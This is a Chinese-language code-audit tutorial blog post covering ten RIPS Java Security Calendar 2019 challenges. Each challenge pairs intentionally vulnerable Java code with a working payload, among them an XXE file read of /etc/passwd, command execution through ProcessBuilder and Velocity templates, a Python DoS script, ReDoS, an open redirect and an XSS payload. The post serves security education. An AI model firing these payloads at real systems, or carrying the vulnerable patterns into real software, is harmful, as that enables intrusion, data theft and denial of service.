Java代码审计(一)

通过一些典型的Java代码来分析易产生漏洞的点,入门篇。。。

项目地址

1
https://www.ripstech.com/java-security-calendar-2019/

Day 1 - Candy Cane之XXE攻击

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import org.jdom2.Content;
import org.jdom2.Document;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;

public class ImportDocument {
public static String extractString() throws IOException, JDOMException {
File initialFile = new File("uploaded_office_doc.odt");
InputStream in = new FileInputStream(initialFile);
final ZipInputStream zis = new ZipInputStream(in);
ZipEntry entry;
List<Content> content = null;
while ((entry = zis.getNextEntry()) != null) {
if (entry.getName().equals("content.xml")) {
final SAXBuilder sax = new org.jdom2.input.SAXBuilder();
sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing",true);
Document doc = sax.build(zis);
content = doc.getContent();
zis.close();
break;
}
}
StringBuilder sb = new StringBuilder();
if (content != null) {
for(Content item : content){
sb.append(item.getValue());
}
}
return sb.toString();
}
}

手册:

1
http://www.jdom.org/docs/apidocs/

查看手册可知,SAXBuilder类主要对xml文件进行解析,当解析的内容可控时可构造恶意的xml文件进行xxe攻击。代码中通过读取uploaded_office_doc.odt文件(实际上也是一个ZIP文件),进行遍历判断是否存在content.xml文件,存在的话则对xml文件进行解析。

构造如下:

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ELEMENT text ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >

]>
<foo>&xxe;</foo>

Day 2 - Eggnog Madness之任意对象实例化

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import org.json.*;

public class MainController{
private static String[] parseJsonAsArray(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
JSONArray arrJson = obj.getJSONArray(field);
String[] arr = new String[arrJson.length()];
for (int i = 0; i < arrJson.length(); i++) {
arr[i] = arrJson.getString(i);
}
return arr;
}

private static String parseJsonAsString(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
return obj.getString(field);
}


public MainController(String rawJson) {
this(parseJsonAsString(rawJson, "controller"), parseJsonAsString(rawJson, "task"), parseJsonAsArray(rawJson, "data"));
}

private MainController(String controllerName, String task, String... data) {
try {
Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this;
System.out.println(controller.getClass().getMethod(task));
controller.getClass().getMethod(task).invoke(controller);
} catch (Exception e1) {
try {
String log = "# [ERROR] Exception with data: " + data + " with exception " + e1;
System.err.println(log);

Runtime.getRuntime().exec(new String[]{"java", "-jar", "log4j_custom_dlogger.jar", log.replaceAll(".", "")});

} catch (Exception e2) {
System.err.println("FATAL ERROR: " + e2);
}
}
}
}

代码不是很长,大致逻辑为判断传入参数是否为MainController,是的话则直接对Object赋值,不再进行实例化,不是的话根据传入的控制器名进行实例化并调用任意方法。由于参数可控,则可对任意对象进行实例化并调用其函数。

payload:

1
rawJson={"controller":"java.lang.ProcessBuilder","task":"start","data":["touch","hacked.jsp"]}

此类用于创建操作系统进程。每个ProcessBuilder实例管理一个进程属性集。start()方法利用这些属性创建一个新的 Process实例。

Day 3 - Christmas Carols之Velocity模版注入

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.VelocityContext;
import java.util.HashMap;
import java.util.Map;

public class TemplateRenderer {
private final VelocityEngine velocity;

public String renderFragment(String fragment, Map<String,Object> contextParameters) {
velocity = new VelocityEngine();
velocity.init();
VelocityContext context = new VelocityContext(contextParameters);
StringWriter tempWriter = new StringWriter(fragment.length());
velocity.evaluate(context, tempWriter, "renderFragment", fragment);
return tempWriter.toString();
}

public String render(HttpServletRequest req, HttpServletResponse res) {
Map<String, Object> hm = new HashMap<String, Object>();
hm.put("user", req.getParameter("user"));
String template = req.getParameter("temp");
String rendered = renderFragment(template,hm);
res.getWriter().println(rendered);
}
}

Velocity模板引擎非常强大。你可以在模板中使用条件判断,循环,外部函数调用等逻辑代码。它里面也没有一个沙箱去限制操作。一个恶意的用户如果可以控制模板,那么他就可以在服务器端运行恶意代码。

代码中的velocity.evaluate()函数,用来在运行时动态解析模版语言,因此,若传入的是Java代码,即可执行Java代码。而fragment参数是可由攻击者控制的,fragment参数值会被Velocity当作Java代码执行,因此可导致代码注入漏洞。

这种模版注入的限制是攻击者不能执行Java代码。因此,需要使用Java反射机制来访问Java类最终达到执行任意命令。

Java反射机制是指在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性。这种动态获取信息以及动态调用对象的方法的功能称为java语言的反射机制。

Velocity指令以#开头,后面跟一个关键字,例如#set指令,其功能是向一个变量或属性赋值。首先将一个变量$s赋值为空,即#set($s=""),然后再向一个变量$stringClass赋值为前一个变量的对象调用,获取基类,这个基类有Java.lang.Runtime的类对象。

payload:

1
user=&temp=#set($s="")#set($stringClass=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("touch hacked.jsp"))$stringClass

Day 4 - Father Christmas之任意重定向

漏洞代码:

1
2
3
4
5
6
7
8
9
10
import javax.servlet.http.*;

public class Login extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
if (url.startsWith("/")) {
response.sendRedirect(url);
}
}
}

代码中url参数是由攻击者可控的,然后在经过startsWith("/")的判断后,进行endRedirect()函数进行跳转。本来startsWith("/")的判断是为了保证跳转的url是一个相对路径在本域下,然而以/开头的url并非只有相对路径才可以,例如//attacker.org是一个不带scheme的绝对路径URI,在进行跳转时,会直接跳转到http://attacker.org

payload:

1
url=//attacker.org

Day 5 - Wintertime之拒绝服务攻击

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;

public class Request {
public static String toString(HttpServletRequest req) {
StringBuilder sb = new StringBuilder();
String delimiter = req.getParameter("delim");
Enumeration<String> names = req.getParameterNames();
while (names.hasMoreElements()) {
String name = names.nextElement();
if (!name.equals("delim")) {
sb.append("<b>" + name + "</b>:<br>");
String[] values = req.getParameterValues(name);
for (String val : values) {
sb.append(val);
sb.append(delimiter);
sb.append("<br>");
}
}
}
return sb.toString();
}
}

代码的第6行实例化了StringBuilder对象,StringBuilder是可变对象,用来高效拼接字符串;默认情况下,StringBuilder对象初始化为大小为16的数组。每次追加新值时,StringBuilder实例都会检查数据是否适合数组。否则,数组的大小将加倍。在这种情况下,会有一个大的放大,这会导致Java堆耗尽内存。默认情况下,Apache Tomcat对POST请求具有2MB限制,最大参数为10000个参数。如果我们将参数Delm(例如,1.8 MB)与一个具有多个(例如10000个)HTTP参数的数组结合起来的值非常大,则考虑到StrugBuuDER内部结构,我们可以最大限度地扩大因子~(20000)。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://localhost:8080/day5"
delim = ""
A=[]
data="delim="+delim

for i in range(1,30000):
delim = delim+'------------------------------------------------'

for i in range(1,300):
A.append("test_the_DoS")
data=data+"&A{index}=".format(index=i)+A[i-1]

header={'content-type':"application/x-www-form-urlencoded"}
res=requests.post(url=url,data=data,headers=header)
print(res)

Day 6 - Yule之拒绝服务攻击

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;
import java.nio.file.*;
import javax.servlet.http.*;

public class ReadFile extends HttpServlet {
protected void doPost(HttpServletRequest request,HttpServletResponse response) throws IOException {
try {
String url = request.getParameter("url");
String data = new String(Files.readAllBytes(Paths.get(url)));
} catch (IOException e) {
PrintWriter out = response.getWriter();
out.print("File not found");
out.flush();
}
}
}

阅读代码可以看出,通过url参数来获取文件路径,并读取文件的内容,但内容无法返回客户端,无法造成任意文件读取,但路径可控,可以读取/dev/random来造成拒绝服务攻击。

/dev/random类UNIX系统中是一个特殊的设备文件,可以用作随机数发生器伪随机数发生器。在访问这个文件是可一直读取,并最终导致IOException处理程序无法捕获的内存耗尽。

payload:

1
url=/dev/random

Day 7 - Jingle Bells之伪造提权

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.fasterxml.jackson.core.*;
import javax.servlet.http.*;
import java.io.*;

public class ApiCache extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
storeJson(request, "/tmp/getUserInformation.json");
}

protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
loadJson();
}

public static void loadJson() {
}

public static void storeJson(HttpServletRequest request, String filename) throws IOException {
JsonFactory jsonobject = new JsonFactory();
JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + request.getParameter("username") + "\"");
jGenerator.writeFieldName("permission");
jGenerator.writeRawValue("\"none\"");
jGenerator.writeEndObject();
jGenerator.close();
}
}

由代码可知,存在一个记录用户信息的json文件,在写入过程中,参数username完全可控,通过特意构造的用户名可以使none权限改为任意权限,成功利用此漏洞还取决于loadJson()的实现。要成功利用此问题,loadJson()方法必须仅反序列化每个键的第一个匹配项,以便忽略重复键。

payload:

1
?username=foo","permission":"all

result:

1
2
3
4
5
{
"username":"foo",
"permission":"all",
"permission":"none"
}

Day 8 - Icicles之未授权下载

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.File;
import javax.servlet.http.*;

public class GetPath extends HttpServlet {
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws IOException {
try {
String icons = request.getParameter("icons");
String filename = request.getParameter("filename");

File f_icons = new File(icons);
File f_filename = new File(filename);

if (!icons.equals(f_icons.getName())) {
throw new Exception("File not within target directory!");
}

if (!filename.equals(f_filename.getName())) {
throw new Exception("File not within target directory!");
}

String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
File file = new File(toDir, filename);

} catch(Exception e) {
response.sendRedirect("/");
}
}
}

代码大致逻辑为通过参数iconsfilename获取文件路径与文件名,通过File类的getName函数来获取当前路径或文件的名字,有效防止目录遍历的危险,如../../pass.txt获取的结果为pass.txt,但当..pass.txt时仍为..pass.txt,因此payload为:

1
icons=..&filename=hacked.txt

Day 9 - Chestnuts之ReDos

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;
import java.util.regex.*;
import javax.servlet.http.*;

public class Validator extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");

PrintWriter out = response.getWriter();
if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
out.print("Value is in whitelist.");
} else {
out.print("Value is not in whitelist.");
}
out.flush();
}

public static boolean isInWhiteList(String whitelist, String value) {
Pattern pattern = Pattern.compile("^[" + whitelist + "]+");
Matcher matcher = pattern.matcher(value);
return matcher.matches();
}
}

代码中的whitelist参数是正则表达式模式的部分。value参数值在第22行被验证是否符合whitelist组成的模式。由于whitelistvalue的值都是由攻击者控制的,攻击者可以注入任意正则表达式并控制该表达式的值与之相配。使用复杂的正则表达式产生CPU消耗,从而导致DoS。这种DoS的方式被称为ReDoS。

将连接whitelist作为pattern的”[“和”]”分别改为”(“和”)”。在前面的测试中,发现”[“和”]”,并不能导致拒绝服务攻击。将其改成”(“和”)”即可导致拒绝服务。

payload:

1
whitelist=([a-z])+.)+[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Day 10 - Anticipation之XML响应中的XSS

漏洞代码:

1
2
3
4
5
6
7
8
9
10
@RequestMapping("/webdav")
public void webdav(HttpServletResponse res, @RequestParam("name") String name) throws IOException {
res.setContentType("text/xml");
res.setCharacterEncoding("UTF-8");
PrintWriter pw = res.getWriter();
name = name.replace("]]", "");
pw.print("<person>");
pw.print("<name><![CDATA[" + name.replace(" ","") + "]]></name>");
pw.print("</person>");
}

这段代码中,用户输入通过@RequestParam注解从GET或POST参数”name”到达函数中的name参数。且第三行响应的”Content-Type”被设置为”text/xml”。输入流是攻击者可控的,则他可以注入具有xml名称空间属性”http://www.w3.org/1999/xhtml”的script标签,从而执行XSS。

CDATA指的是不应由XML解析器进行解析的文本数据,因此需要将其闭合以避免注入的JS代码变成文本。然后注入带有命名空间属性http://www.w3.org/1999/xhtml"的script标签,将script标签定义为具有html属性的script标签。因此可以被浏览器当作JavaScript代码执行。payload如下:

1
name=test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[
Author: Sys71m
Link: https://www.sys71m.top/2020/02/08/Java代码审计(一)/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.